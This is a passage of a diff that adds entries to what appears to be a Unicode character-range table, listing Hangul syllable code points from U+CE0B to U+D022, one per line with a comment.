+ [0xce0b, 0xce0b], /* Hangul Syllable */
+ [0xce0c, 0xce0c], /* Hangul Syllable */
+ [0xce0d, 0xce0d], /* Hangul Syllable */
+ [0xce0e, 0xce0e], /* Hangul Syllable */
+ [0xce0f, 0xce0f], /* Hangul Syllable */
+ [0xce10, 0xce10], /* Hangul Syllable */
+ [0xce11, 0xce11], /* Hangul Syllable */
+ [0xce12, 0xce12], /* Hangul Syllable */
+ [0xce13, 0xce13], /* Hangul Syllable */
+ [0xce14, 0xce14], /* Hangul Syllable */
+ [0xce15, 0xce15], /* Hangul Syllable */
+ [0xce16, 0xce16], /* Hangul Syllable */
+ [0xce17, 0xce17], /* Hangul Syllable */
+ [0xce18, 0xce18], /* Hangul Syllable */
+ [0xce19, 0xce19], /* Hangul Syllable */
+ [0xce1a, 0xce1a], /* Hangul Syllable */
+ [0xce1b, 0xce1b], /* Hangul Syllable */
+ [0xce1c, 0xce1c], /* Hangul Syllable */
+ [0xce1d, 0xce1d], /* Hangul Syllable */
+ [0xce1e, 0xce1e], /* Hangul Syllable */
+ [0xce1f, 0xce1f], /* Hangul Syllable */
+ [0xce20, 0xce20], /* Hangul Syllable */
+ [0xce21, 0xce21], /* Hangul Syllable */
+ [0xce22, 0xce22], /* Hangul Syllable */
+ [0xce23, 0xce23], /* Hangul Syllable */
+ [0xce24, 0xce24], /* Hangul Syllable */
+ [0xce25, 0xce25], /* Hangul Syllable */
+ [0xce26, 0xce26], /* Hangul Syllable */
+ [0xce27, 0xce27], /* Hangul Syllable */
+ [0xce28, 0xce28], /* Hangul Syllable */
+ [0xce29, 0xce29], /* Hangul Syllable */
+ [0xce2a, 0xce2a], /* Hangul Syllable */
+ [0xce2b, 0xce2b], /* Hangul Syllable */
+ [0xce2c, 0xce2c], /* Hangul Syllable */
+ [0xce2d, 0xce2d], /* Hangul Syllable */
+ [0xce2e, 0xce2e], /* Hangul Syllable */
+ [0xce2f, 0xce2f], /* Hangul Syllable */
+ [0xce30, 0xce30], /* Hangul Syllable */
+ [0xce31, 0xce31], /* Hangul Syllable */
+ [0xce32, 0xce32], /* Hangul Syllable */
+ [0xce33, 0xce33], /* Hangul Syllable */
+ [0xce34, 0xce34], /* Hangul Syllable */
+ [0xce35, 0xce35], /* Hangul Syllable */
+ [0xce36, 0xce36], /* Hangul Syllable */
+ [0xce37, 0xce37], /* Hangul Syllable */
+ [0xce38, 0xce38], /* Hangul Syllable */
+ [0xce39, 0xce39], /* Hangul Syllable */
+ [0xce3a, 0xce3a], /* Hangul Syllable */
+ [0xce3b, 0xce3b], /* Hangul Syllable */
+ [0xce3c, 0xce3c], /* Hangul Syllable */
+ [0xce3d, 0xce3d], /* Hangul Syllable */
+ [0xce3e, 0xce3e], /* Hangul Syllable */
+ [0xce3f, 0xce3f], /* Hangul Syllable */
+ [0xce40, 0xce40], /* Hangul Syllable */
+ [0xce41, 0xce41], /* Hangul Syllable */
+ [0xce42, 0xce42], /* Hangul Syllable */
+ [0xce43, 0xce43], /* Hangul Syllable */
+ [0xce44, 0xce44], /* Hangul Syllable */
+ [0xce45, 0xce45], /* Hangul Syllable */
+ [0xce46, 0xce46], /* Hangul Syllable */
+ [0xce47, 0xce47], /* Hangul Syllable */
+ [0xce48, 0xce48], /* Hangul Syllable */
+ [0xce49, 0xce49], /* Hangul Syllable */
+ [0xce4a, 0xce4a], /* Hangul Syllable */
+ [0xce4b, 0xce4b], /* Hangul Syllable */
+ [0xce4c, 0xce4c], /* Hangul Syllable */
+ [0xce4d, 0xce4d], /* Hangul Syllable */
+ [0xce4e, 0xce4e], /* Hangul Syllable */
+ [0xce4f, 0xce4f], /* Hangul Syllable */
+ [0xce50, 0xce50], /* Hangul Syllable */
+ [0xce51, 0xce51], /* Hangul Syllable */
+ [0xce52, 0xce52], /* Hangul Syllable */
+ [0xce53, 0xce53], /* Hangul Syllable */
+ [0xce54, 0xce54], /* Hangul Syllable */
+ [0xce55, 0xce55], /* Hangul Syllable */
+ [0xce56, 0xce56], /* Hangul Syllable */
+ [0xce57, 0xce57], /* Hangul Syllable */
+ [0xce58, 0xce58], /* Hangul Syllable */
+ [0xce59, 0xce59], /* Hangul Syllable */
+ [0xce5a, 0xce5a], /* Hangul Syllable */
+ [0xce5b, 0xce5b], /* Hangul Syllable */
+ [0xce5c, 0xce5c], /* Hangul Syllable */
+ [0xce5d, 0xce5d], /* Hangul Syllable */
+ [0xce5e, 0xce5e], /* Hangul Syllable */
+ [0xce5f, 0xce5f], /* Hangul Syllable */
+ [0xce60, 0xce60], /* Hangul Syllable */
+ [0xce61, 0xce61], /* Hangul Syllable */
+ [0xce62, 0xce62], /* Hangul Syllable */
+ [0xce63, 0xce63], /* Hangul Syllable */
+ [0xce64, 0xce64], /* Hangul Syllable */
+ [0xce65, 0xce65], /* Hangul Syllable */
+ [0xce66, 0xce66], /* Hangul Syllable */
+ [0xce67, 0xce67], /* Hangul Syllable */
+ [0xce68, 0xce68], /* Hangul Syllable */
+ [0xce69, 0xce69], /* Hangul Syllable */
+ [0xce6a, 0xce6a], /* Hangul Syllable */
+ [0xce6b, 0xce6b], /* Hangul Syllable */
+ [0xce6c, 0xce6c], /* Hangul Syllable */
+ [0xce6d, 0xce6d], /* Hangul Syllable */
+ [0xce6e, 0xce6e], /* Hangul Syllable */
+ [0xce6f, 0xce6f], /* Hangul Syllable */
+ [0xce70, 0xce70], /* Hangul Syllable */
+ [0xce71, 0xce71], /* Hangul Syllable */
+ [0xce72, 0xce72], /* Hangul Syllable */
+ [0xce73, 0xce73], /* Hangul Syllable */
+ [0xce74, 0xce74], /* Hangul Syllable */
+ [0xce75, 0xce75], /* Hangul Syllable */
+ [0xce76, 0xce76], /* Hangul Syllable */
+ [0xce77, 0xce77], /* Hangul Syllable */
+ [0xce78, 0xce78], /* Hangul Syllable */
+ [0xce79, 0xce79], /* Hangul Syllable */
+ [0xce7a, 0xce7a], /* Hangul Syllable */
+ [0xce7b, 0xce7b], /* Hangul Syllable */
+ [0xce7c, 0xce7c], /* Hangul Syllable */
+ [0xce7d, 0xce7d], /* Hangul Syllable */
+ [0xce7e, 0xce7e], /* Hangul Syllable */
+ [0xce7f, 0xce7f], /* Hangul Syllable */
+ [0xce80, 0xce80], /* Hangul Syllable */
+ [0xce81, 0xce81], /* Hangul Syllable */
+ [0xce82, 0xce82], /* Hangul Syllable */
+ [0xce83, 0xce83], /* Hangul Syllable */
+ [0xce84, 0xce84], /* Hangul Syllable */
+ [0xce85, 0xce85], /* Hangul Syllable */
+ [0xce86, 0xce86], /* Hangul Syllable */
+ [0xce87, 0xce87], /* Hangul Syllable */
+ [0xce88, 0xce88], /* Hangul Syllable */
+ [0xce89, 0xce89], /* Hangul Syllable */
+ [0xce8a, 0xce8a], /* Hangul Syllable */
+ [0xce8b, 0xce8b], /* Hangul Syllable */
+ [0xce8c, 0xce8c], /* Hangul Syllable */
+ [0xce8d, 0xce8d], /* Hangul Syllable */
+ [0xce8e, 0xce8e], /* Hangul Syllable */
+ [0xce8f, 0xce8f], /* Hangul Syllable */
+ [0xce90, 0xce90], /* Hangul Syllable */
+ [0xce91, 0xce91], /* Hangul Syllable */
+ [0xce92, 0xce92], /* Hangul Syllable */
+ [0xce93, 0xce93], /* Hangul Syllable */
+ [0xce94, 0xce94], /* Hangul Syllable */
+ [0xce95, 0xce95], /* Hangul Syllable */
+ [0xce96, 0xce96], /* Hangul Syllable */
+ [0xce97, 0xce97], /* Hangul Syllable */
+ [0xce98, 0xce98], /* Hangul Syllable */
+ [0xce99, 0xce99], /* Hangul Syllable */
+ [0xce9a, 0xce9a], /* Hangul Syllable */
+ [0xce9b, 0xce9b], /* Hangul Syllable */
+ [0xce9c, 0xce9c], /* Hangul Syllable */
+ [0xce9d, 0xce9d], /* Hangul Syllable */
+ [0xce9e, 0xce9e], /* Hangul Syllable */
+ [0xce9f, 0xce9f], /* Hangul Syllable */
+ [0xcea0, 0xcea0], /* Hangul Syllable */
+ [0xcea1, 0xcea1], /* Hangul Syllable */
+ [0xcea2, 0xcea2], /* Hangul Syllable */
+ [0xcea3, 0xcea3], /* Hangul Syllable */
+ [0xcea4, 0xcea4], /* Hangul Syllable */
+ [0xcea5, 0xcea5], /* Hangul Syllable */
+ [0xcea6, 0xcea6], /* Hangul Syllable */
+ [0xcea7, 0xcea7], /* Hangul Syllable */
+ [0xcea8, 0xcea8], /* Hangul Syllable */
+ [0xcea9, 0xcea9], /* Hangul Syllable */
+ [0xceaa, 0xceaa], /* Hangul Syllable */
+ [0xceab, 0xceab], /* Hangul Syllable */
+ [0xceac, 0xceac], /* Hangul Syllable */
+ [0xcead, 0xcead], /* Hangul Syllable */
+ [0xceae, 0xceae], /* Hangul Syllable */
+ [0xceaf, 0xceaf], /* Hangul Syllable */
+ [0xceb0, 0xceb0], /* Hangul Syllable */
+ [0xceb1, 0xceb1], /* Hangul Syllable */
+ [0xceb2, 0xceb2], /* Hangul Syllable */
+ [0xceb3, 0xceb3], /* Hangul Syllable */
+ [0xceb4, 0xceb4], /* Hangul Syllable */
+ [0xceb5, 0xceb5], /* Hangul Syllable */
+ [0xceb6, 0xceb6], /* Hangul Syllable */
+ [0xceb7, 0xceb7], /* Hangul Syllable */
+ [0xceb8, 0xceb8], /* Hangul Syllable */
+ [0xceb9, 0xceb9], /* Hangul Syllable */
+ [0xceba, 0xceba], /* Hangul Syllable */
+ [0xcebb, 0xcebb], /* Hangul Syllable */
+ [0xcebc, 0xcebc], /* Hangul Syllable */
+ [0xcebd, 0xcebd], /* Hangul Syllable */
+ [0xcebe, 0xcebe], /* Hangul Syllable */
+ [0xcebf, 0xcebf], /* Hangul Syllable */
+ [0xcec0, 0xcec0], /* Hangul Syllable */
+ [0xcec1, 0xcec1], /* Hangul Syllable */
+ [0xcec2, 0xcec2], /* Hangul Syllable */
+ [0xcec3, 0xcec3], /* Hangul Syllable */
+ [0xcec4, 0xcec4], /* Hangul Syllable */
+ [0xcec5, 0xcec5], /* Hangul Syllable */
+ [0xcec6, 0xcec6], /* Hangul Syllable */
+ [0xcec7, 0xcec7], /* Hangul Syllable */
+ [0xcec8, 0xcec8], /* Hangul Syllable */
+ [0xcec9, 0xcec9], /* Hangul Syllable */
+ [0xceca, 0xceca], /* Hangul Syllable */
+ [0xcecb, 0xcecb], /* Hangul Syllable */
+ [0xcecc, 0xcecc], /* Hangul Syllable */
+ [0xcecd, 0xcecd], /* Hangul Syllable */
+ [0xcece, 0xcece], /* Hangul Syllable */
+ [0xcecf, 0xcecf], /* Hangul Syllable */
+ [0xced0, 0xced0], /* Hangul Syllable */
+ [0xced1, 0xced1], /* Hangul Syllable */
+ [0xced2, 0xced2], /* Hangul Syllable */
+ [0xced3, 0xced3], /* Hangul Syllable */
+ [0xced4, 0xced4], /* Hangul Syllable */
+ [0xced5, 0xced5], /* Hangul Syllable */
+ [0xced6, 0xced6], /* Hangul Syllable */
+ [0xced7, 0xced7], /* Hangul Syllable */
+ [0xced8, 0xced8], /* Hangul Syllable */
+ [0xced9, 0xced9], /* Hangul Syllable */
+ [0xceda, 0xceda], /* Hangul Syllable */
+ [0xcedb, 0xcedb], /* Hangul Syllable */
+ [0xcedc, 0xcedc], /* Hangul Syllable */
+ [0xcedd, 0xcedd], /* Hangul Syllable */
+ [0xcede, 0xcede], /* Hangul Syllable */
+ [0xcedf, 0xcedf], /* Hangul Syllable */
+ [0xcee0, 0xcee0], /* Hangul Syllable */
+ [0xcee1, 0xcee1], /* Hangul Syllable */
+ [0xcee2, 0xcee2], /* Hangul Syllable */
+ [0xcee3, 0xcee3], /* Hangul Syllable */
+ [0xcee4, 0xcee4], /* Hangul Syllable */
+ [0xcee5, 0xcee5], /* Hangul Syllable */
+ [0xcee6, 0xcee6], /* Hangul Syllable */
+ [0xcee7, 0xcee7], /* Hangul Syllable */
+ [0xcee8, 0xcee8], /* Hangul Syllable */
+ [0xcee9, 0xcee9], /* Hangul Syllable */
+ [0xceea, 0xceea], /* Hangul Syllable */
+ [0xceeb, 0xceeb], /* Hangul Syllable */
+ [0xceec, 0xceec], /* Hangul Syllable */
+ [0xceed, 0xceed], /* Hangul Syllable */
+ [0xceee, 0xceee], /* Hangul Syllable */
+ [0xceef, 0xceef], /* Hangul Syllable */
+ [0xcef0, 0xcef0], /* Hangul Syllable */
+ [0xcef1, 0xcef1], /* Hangul Syllable */
+ [0xcef2, 0xcef2], /* Hangul Syllable */
+ [0xcef3, 0xcef3], /* Hangul Syllable */
+ [0xcef4, 0xcef4], /* Hangul Syllable */
+ [0xcef5, 0xcef5], /* Hangul Syllable */
+ [0xcef6, 0xcef6], /* Hangul Syllable */
+ [0xcef7, 0xcef7], /* Hangul Syllable */
+ [0xcef8, 0xcef8], /* Hangul Syllable */
+ [0xcef9, 0xcef9], /* Hangul Syllable */
+ [0xcefa, 0xcefa], /* Hangul Syllable */
+ [0xcefb, 0xcefb], /* Hangul Syllable */
+ [0xcefc, 0xcefc], /* Hangul Syllable */
+ [0xcefd, 0xcefd], /* Hangul Syllable */
+ [0xcefe, 0xcefe], /* Hangul Syllable */
+ [0xceff, 0xceff], /* Hangul Syllable */
+ [0xcf00, 0xcf00], /* Hangul Syllable */
+ [0xcf01, 0xcf01], /* Hangul Syllable */
+ [0xcf02, 0xcf02], /* Hangul Syllable */
+ [0xcf03, 0xcf03], /* Hangul Syllable */
+ [0xcf04, 0xcf04], /* Hangul Syllable */
+ [0xcf05, 0xcf05], /* Hangul Syllable */
+ [0xcf06, 0xcf06], /* Hangul Syllable */
+ [0xcf07, 0xcf07], /* Hangul Syllable */
+ [0xcf08, 0xcf08], /* Hangul Syllable */
+ [0xcf09, 0xcf09], /* Hangul Syllable */
+ [0xcf0a, 0xcf0a], /* Hangul Syllable */
+ [0xcf0b, 0xcf0b], /* Hangul Syllable */
+ [0xcf0c, 0xcf0c], /* Hangul Syllable */
+ [0xcf0d, 0xcf0d], /* Hangul Syllable */
+ [0xcf0e, 0xcf0e], /* Hangul Syllable */
+ [0xcf0f, 0xcf0f], /* Hangul Syllable */
+ [0xcf10, 0xcf10], /* Hangul Syllable */
+ [0xcf11, 0xcf11], /* Hangul Syllable */
+ [0xcf12, 0xcf12], /* Hangul Syllable */
+ [0xcf13, 0xcf13], /* Hangul Syllable */
+ [0xcf14, 0xcf14], /* Hangul Syllable */
+ [0xcf15, 0xcf15], /* Hangul Syllable */
+ [0xcf16, 0xcf16], /* Hangul Syllable */
+ [0xcf17, 0xcf17], /* Hangul Syllable */
+ [0xcf18, 0xcf18], /* Hangul Syllable */
+ [0xcf19, 0xcf19], /* Hangul Syllable */
+ [0xcf1a, 0xcf1a], /* Hangul Syllable */
+ [0xcf1b, 0xcf1b], /* Hangul Syllable */
+ [0xcf1c, 0xcf1c], /* Hangul Syllable */
+ [0xcf1d, 0xcf1d], /* Hangul Syllable */
+ [0xcf1e, 0xcf1e], /* Hangul Syllable */
+ [0xcf1f, 0xcf1f], /* Hangul Syllable */
+ [0xcf20, 0xcf20], /* Hangul Syllable */
+ [0xcf21, 0xcf21], /* Hangul Syllable */
+ [0xcf22, 0xcf22], /* Hangul Syllable */
+ [0xcf23, 0xcf23], /* Hangul Syllable */
+ [0xcf24, 0xcf24], /* Hangul Syllable */
+ [0xcf25, 0xcf25], /* Hangul Syllable */
+ [0xcf26, 0xcf26], /* Hangul Syllable */
+ [0xcf27, 0xcf27], /* Hangul Syllable */
+ [0xcf28, 0xcf28], /* Hangul Syllable */
+ [0xcf29, 0xcf29], /* Hangul Syllable */
+ [0xcf2a, 0xcf2a], /* Hangul Syllable */
+ [0xcf2b, 0xcf2b], /* Hangul Syllable */
+ [0xcf2c, 0xcf2c], /* Hangul Syllable */
+ [0xcf2d, 0xcf2d], /* Hangul Syllable */
+ [0xcf2e, 0xcf2e], /* Hangul Syllable */
+ [0xcf2f, 0xcf2f], /* Hangul Syllable */
+ [0xcf30, 0xcf30], /* Hangul Syllable */
+ [0xcf31, 0xcf31], /* Hangul Syllable */
+ [0xcf32, 0xcf32], /* Hangul Syllable */
+ [0xcf33, 0xcf33], /* Hangul Syllable */
+ [0xcf34, 0xcf34], /* Hangul Syllable */
+ [0xcf35, 0xcf35], /* Hangul Syllable */
+ [0xcf36, 0xcf36], /* Hangul Syllable */
+ [0xcf37, 0xcf37], /* Hangul Syllable */
+ [0xcf38, 0xcf38], /* Hangul Syllable */
+ [0xcf39, 0xcf39], /* Hangul Syllable */
+ [0xcf3a, 0xcf3a], /* Hangul Syllable */
+ [0xcf3b, 0xcf3b], /* Hangul Syllable */
+ [0xcf3c, 0xcf3c], /* Hangul Syllable */
+ [0xcf3d, 0xcf3d], /* Hangul Syllable */
+ [0xcf3e, 0xcf3e], /* Hangul Syllable */
+ [0xcf3f, 0xcf3f], /* Hangul Syllable */
+ [0xcf40, 0xcf40], /* Hangul Syllable */
+ [0xcf41, 0xcf41], /* Hangul Syllable */
+ [0xcf42, 0xcf42], /* Hangul Syllable */
+ [0xcf43, 0xcf43], /* Hangul Syllable */
+ [0xcf44, 0xcf44], /* Hangul Syllable */
+ [0xcf45, 0xcf45], /* Hangul Syllable */
+ [0xcf46, 0xcf46], /* Hangul Syllable */
+ [0xcf47, 0xcf47], /* Hangul Syllable */
+ [0xcf48, 0xcf48], /* Hangul Syllable */
+ [0xcf49, 0xcf49], /* Hangul Syllable */
+ [0xcf4a, 0xcf4a], /* Hangul Syllable */
+ [0xcf4b, 0xcf4b], /* Hangul Syllable */
+ [0xcf4c, 0xcf4c], /* Hangul Syllable */
+ [0xcf4d, 0xcf4d], /* Hangul Syllable */
+ [0xcf4e, 0xcf4e], /* Hangul Syllable */
+ [0xcf4f, 0xcf4f], /* Hangul Syllable */
+ [0xcf50, 0xcf50], /* Hangul Syllable */
+ [0xcf51, 0xcf51], /* Hangul Syllable */
+ [0xcf52, 0xcf52], /* Hangul Syllable */
+ [0xcf53, 0xcf53], /* Hangul Syllable */
+ [0xcf54, 0xcf54], /* Hangul Syllable */
+ [0xcf55, 0xcf55], /* Hangul Syllable */
+ [0xcf56, 0xcf56], /* Hangul Syllable */
+ [0xcf57, 0xcf57], /* Hangul Syllable */
+ [0xcf58, 0xcf58], /* Hangul Syllable */
+ [0xcf59, 0xcf59], /* Hangul Syllable */
+ [0xcf5a, 0xcf5a], /* Hangul Syllable */
+ [0xcf5b, 0xcf5b], /* Hangul Syllable */
+ [0xcf5c, 0xcf5c], /* Hangul Syllable */
+ [0xcf5d, 0xcf5d], /* Hangul Syllable */
+ [0xcf5e, 0xcf5e], /* Hangul Syllable */
+ [0xcf5f, 0xcf5f], /* Hangul Syllable */
+ [0xcf60, 0xcf60], /* Hangul Syllable */
+ [0xcf61, 0xcf61], /* Hangul Syllable */
+ [0xcf62, 0xcf62], /* Hangul Syllable */
+ [0xcf63, 0xcf63], /* Hangul Syllable */
+ [0xcf64, 0xcf64], /* Hangul Syllable */
+ [0xcf65, 0xcf65], /* Hangul Syllable */
+ [0xcf66, 0xcf66], /* Hangul Syllable */
+ [0xcf67, 0xcf67], /* Hangul Syllable */
+ [0xcf68, 0xcf68], /* Hangul Syllable */
+ [0xcf69, 0xcf69], /* Hangul Syllable */
+ [0xcf6a, 0xcf6a], /* Hangul Syllable */
+ [0xcf6b, 0xcf6b], /* Hangul Syllable */
+ [0xcf6c, 0xcf6c], /* Hangul Syllable */
+ [0xcf6d, 0xcf6d], /* Hangul Syllable */
+ [0xcf6e, 0xcf6e], /* Hangul Syllable */
+ [0xcf6f, 0xcf6f], /* Hangul Syllable */
+ [0xcf70, 0xcf70], /* Hangul Syllable */
+ [0xcf71, 0xcf71], /* Hangul Syllable */
+ [0xcf72, 0xcf72], /* Hangul Syllable */
+ [0xcf73, 0xcf73], /* Hangul Syllable */
+ [0xcf74, 0xcf74], /* Hangul Syllable */
+ [0xcf75, 0xcf75], /* Hangul Syllable */
+ [0xcf76, 0xcf76], /* Hangul Syllable */
+ [0xcf77, 0xcf77], /* Hangul Syllable */
+ [0xcf78, 0xcf78], /* Hangul Syllable */
+ [0xcf79, 0xcf79], /* Hangul Syllable */
+ [0xcf7a, 0xcf7a], /* Hangul Syllable */
+ [0xcf7b, 0xcf7b], /* Hangul Syllable */
+ [0xcf7c, 0xcf7c], /* Hangul Syllable */
+ [0xcf7d, 0xcf7d], /* Hangul Syllable */
+ [0xcf7e, 0xcf7e], /* Hangul Syllable */
+ [0xcf7f, 0xcf7f], /* Hangul Syllable */
+ [0xcf80, 0xcf80], /* Hangul Syllable */
+ [0xcf81, 0xcf81], /* Hangul Syllable */
+ [0xcf82, 0xcf82], /* Hangul Syllable */
+ [0xcf83, 0xcf83], /* Hangul Syllable */
+ [0xcf84, 0xcf84], /* Hangul Syllable */
+ [0xcf85, 0xcf85], /* Hangul Syllable */
+ [0xcf86, 0xcf86], /* Hangul Syllable */
+ [0xcf87, 0xcf87], /* Hangul Syllable */
+ [0xcf88, 0xcf88], /* Hangul Syllable */
+ [0xcf89, 0xcf89], /* Hangul Syllable */
+ [0xcf8a, 0xcf8a], /* Hangul Syllable */
+ [0xcf8b, 0xcf8b], /* Hangul Syllable */
+ [0xcf8c, 0xcf8c], /* Hangul Syllable */
+ [0xcf8d, 0xcf8d], /* Hangul Syllable */
+ [0xcf8e, 0xcf8e], /* Hangul Syllable */
+ [0xcf8f, 0xcf8f], /* Hangul Syllable */
+ [0xcf90, 0xcf90], /* Hangul Syllable */
+ [0xcf91, 0xcf91], /* Hangul Syllable */
+ [0xcf92, 0xcf92], /* Hangul Syllable */
+ [0xcf93, 0xcf93], /* Hangul Syllable */
+ [0xcf94, 0xcf94], /* Hangul Syllable */
+ [0xcf95, 0xcf95], /* Hangul Syllable */
+ [0xcf96, 0xcf96], /* Hangul Syllable */
+ [0xcf97, 0xcf97], /* Hangul Syllable */
+ [0xcf98, 0xcf98], /* Hangul Syllable */
+ [0xcf99, 0xcf99], /* Hangul Syllable */
+ [0xcf9a, 0xcf9a], /* Hangul Syllable */
+ [0xcf9b, 0xcf9b], /* Hangul Syllable */
+ [0xcf9c, 0xcf9c], /* Hangul Syllable */
+ [0xcf9d, 0xcf9d], /* Hangul Syllable */
+ [0xcf9e, 0xcf9e], /* Hangul Syllable */
+ [0xcf9f, 0xcf9f], /* Hangul Syllable */
+ [0xcfa0, 0xcfa0], /* Hangul Syllable */
+ [0xcfa1, 0xcfa1], /* Hangul Syllable */
+ [0xcfa2, 0xcfa2], /* Hangul Syllable */
+ [0xcfa3, 0xcfa3], /* Hangul Syllable */
+ [0xcfa4, 0xcfa4], /* Hangul Syllable */
+ [0xcfa5, 0xcfa5], /* Hangul Syllable */
+ [0xcfa6, 0xcfa6], /* Hangul Syllable */
+ [0xcfa7, 0xcfa7], /* Hangul Syllable */
+ [0xcfa8, 0xcfa8], /* Hangul Syllable */
+ [0xcfa9, 0xcfa9], /* Hangul Syllable */
+ [0xcfaa, 0xcfaa], /* Hangul Syllable */
+ [0xcfab, 0xcfab], /* Hangul Syllable */
+ [0xcfac, 0xcfac], /* Hangul Syllable */
+ [0xcfad, 0xcfad], /* Hangul Syllable */
+ [0xcfae, 0xcfae], /* Hangul Syllable */
+ [0xcfaf, 0xcfaf], /* Hangul Syllable */
+ [0xcfb0, 0xcfb0], /* Hangul Syllable */
+ [0xcfb1, 0xcfb1], /* Hangul Syllable */
+ [0xcfb2, 0xcfb2], /* Hangul Syllable */
+ [0xcfb3, 0xcfb3], /* Hangul Syllable */
+ [0xcfb4, 0xcfb4], /* Hangul Syllable */
+ [0xcfb5, 0xcfb5], /* Hangul Syllable */
+ [0xcfb6, 0xcfb6], /* Hangul Syllable */
+ [0xcfb7, 0xcfb7], /* Hangul Syllable */
+ [0xcfb8, 0xcfb8], /* Hangul Syllable */
+ [0xcfb9, 0xcfb9], /* Hangul Syllable */
+ [0xcfba, 0xcfba], /* Hangul Syllable */
+ [0xcfbb, 0xcfbb], /* Hangul Syllable */
+ [0xcfbc, 0xcfbc], /* Hangul Syllable */
+ [0xcfbd, 0xcfbd], /* Hangul Syllable */
+ [0xcfbe, 0xcfbe], /* Hangul Syllable */
+ [0xcfbf, 0xcfbf], /* Hangul Syllable */
+ [0xcfc0, 0xcfc0], /* Hangul Syllable */
+ [0xcfc1, 0xcfc1], /* Hangul Syllable */
+ [0xcfc2, 0xcfc2], /* Hangul Syllable */
+ [0xcfc3, 0xcfc3], /* Hangul Syllable */
+ [0xcfc4, 0xcfc4], /* Hangul Syllable */
+ [0xcfc5, 0xcfc5], /* Hangul Syllable */
+ [0xcfc6, 0xcfc6], /* Hangul Syllable */
+ [0xcfc7, 0xcfc7], /* Hangul Syllable */
+ [0xcfc8, 0xcfc8], /* Hangul Syllable */
+ [0xcfc9, 0xcfc9], /* Hangul Syllable */
+ [0xcfca, 0xcfca], /* Hangul Syllable */
+ [0xcfcb, 0xcfcb], /* Hangul Syllable */
+ [0xcfcc, 0xcfcc], /* Hangul Syllable */
+ [0xcfcd, 0xcfcd], /* Hangul Syllable */
+ [0xcfce, 0xcfce], /* Hangul Syllable */
+ [0xcfcf, 0xcfcf], /* Hangul Syllable */
+ [0xcfd0, 0xcfd0], /* Hangul Syllable */
+ [0xcfd1, 0xcfd1], /* Hangul Syllable */
+ [0xcfd2, 0xcfd2], /* Hangul Syllable */
+ [0xcfd3, 0xcfd3], /* Hangul Syllable */
+ [0xcfd4, 0xcfd4], /* Hangul Syllable */
+ [0xcfd5, 0xcfd5], /* Hangul Syllable */
+ [0xcfd6, 0xcfd6], /* Hangul Syllable */
+ [0xcfd7, 0xcfd7], /* Hangul Syllable */
+ [0xcfd8, 0xcfd8], /* Hangul Syllable */
+ [0xcfd9, 0xcfd9], /* Hangul Syllable */
+ [0xcfda, 0xcfda], /* Hangul Syllable */
+ [0xcfdb, 0xcfdb], /* Hangul Syllable */
+ [0xcfdc, 0xcfdc], /* Hangul Syllable */
+ [0xcfdd, 0xcfdd], /* Hangul Syllable */
+ [0xcfde, 0xcfde], /* Hangul Syllable */
+ [0xcfdf, 0xcfdf], /* Hangul Syllable */
+ [0xcfe0, 0xcfe0], /* Hangul Syllable */
+ [0xcfe1, 0xcfe1], /* Hangul Syllable */
+ [0xcfe2, 0xcfe2], /* Hangul Syllable */
+ [0xcfe3, 0xcfe3], /* Hangul Syllable */
+ [0xcfe4, 0xcfe4], /* Hangul Syllable */
+ [0xcfe5, 0xcfe5], /* Hangul Syllable */
+ [0xcfe6, 0xcfe6], /* Hangul Syllable */
+ [0xcfe7, 0xcfe7], /* Hangul Syllable */
+ [0xcfe8, 0xcfe8], /* Hangul Syllable */
+ [0xcfe9, 0xcfe9], /* Hangul Syllable */
+ [0xcfea, 0xcfea], /* Hangul Syllable */
+ [0xcfeb, 0xcfeb], /* Hangul Syllable */
+ [0xcfec, 0xcfec], /* Hangul Syllable */
+ [0xcfed, 0xcfed], /* Hangul Syllable */
+ [0xcfee, 0xcfee], /* Hangul Syllable */
+ [0xcfef, 0xcfef], /* Hangul Syllable */
+ [0xcff0, 0xcff0], /* Hangul Syllable */
+ [0xcff1, 0xcff1], /* Hangul Syllable */
+ [0xcff2, 0xcff2], /* Hangul Syllable */
+ [0xcff3, 0xcff3], /* Hangul Syllable */
+ [0xcff4, 0xcff4], /* Hangul Syllable */
+ [0xcff5, 0xcff5], /* Hangul Syllable */
+ [0xcff6, 0xcff6], /* Hangul Syllable */
+ [0xcff7, 0xcff7], /* Hangul Syllable */
+ [0xcff8, 0xcff8], /* Hangul Syllable */
+ [0xcff9, 0xcff9], /* Hangul Syllable */
+ [0xcffa, 0xcffa], /* Hangul Syllable */
+ [0xcffb, 0xcffb], /* Hangul Syllable */
+ [0xcffc, 0xcffc], /* Hangul Syllable */
+ [0xcffd, 0xcffd], /* Hangul Syllable */
+ [0xcffe, 0xcffe], /* Hangul Syllable */
+ [0xcfff, 0xcfff], /* Hangul Syllable */
+ [0xd000, 0xd000], /* Hangul Syllable */
+ [0xd001, 0xd001], /* Hangul Syllable */
+ [0xd002, 0xd002], /* Hangul Syllable */
+ [0xd003, 0xd003], /* Hangul Syllable */
+ [0xd004, 0xd004], /* Hangul Syllable */
+ [0xd005, 0xd005], /* Hangul Syllable */
+ [0xd006, 0xd006], /* Hangul Syllable */
+ [0xd007, 0xd007], /* Hangul Syllable */
+ [0xd008, 0xd008], /* Hangul Syllable */
+ [0xd009, 0xd009], /* Hangul Syllable */
+ [0xd00a, 0xd00a], /* Hangul Syllable */
+ [0xd00b, 0xd00b], /* Hangul Syllable */
+ [0xd00c, 0xd00c], /* Hangul Syllable */
+ [0xd00d, 0xd00d], /* Hangul Syllable */
+ [0xd00e, 0xd00e], /* Hangul Syllable */
+ [0xd00f, 0xd00f], /* Hangul Syllable */
+ [0xd010, 0xd010], /* Hangul Syllable */
+ [0xd011, 0xd011], /* Hangul Syllable */
+ [0xd012, 0xd012], /* Hangul Syllable */
+ [0xd013, 0xd013], /* Hangul Syllable */
+ [0xd014, 0xd014], /* Hangul Syllable */
+ [0xd015, 0xd015], /* Hangul Syllable */
+ [0xd016, 0xd016], /* Hangul Syllable */
+ [0xd017, 0xd017], /* Hangul Syllable */
+ [0xd018, 0xd018], /* Hangul Syllable */
+ [0xd019, 0xd019], /* Hangul Syllable */
+ [0xd01a, 0xd01a], /* Hangul Syllable */
+ [0xd01b, 0xd01b], /* Hangul Syllable */
+ [0xd01c, 0xd01c], /* Hangul Syllable */
+ [0xd01d, 0xd01d], /* Hangul Syllable */
+ [0xd01e, 0xd01e], /* Hangul Syllable */
+ [0xd01f, 0xd01f], /* Hangul Syllable */
+ [0xd020, 0xd020], /* Hangul Syllable */
+ [0xd021, 0xd021], /* Hangul Syllable */
+ [0xd022, 0xd022], /* Hangul Syllable */
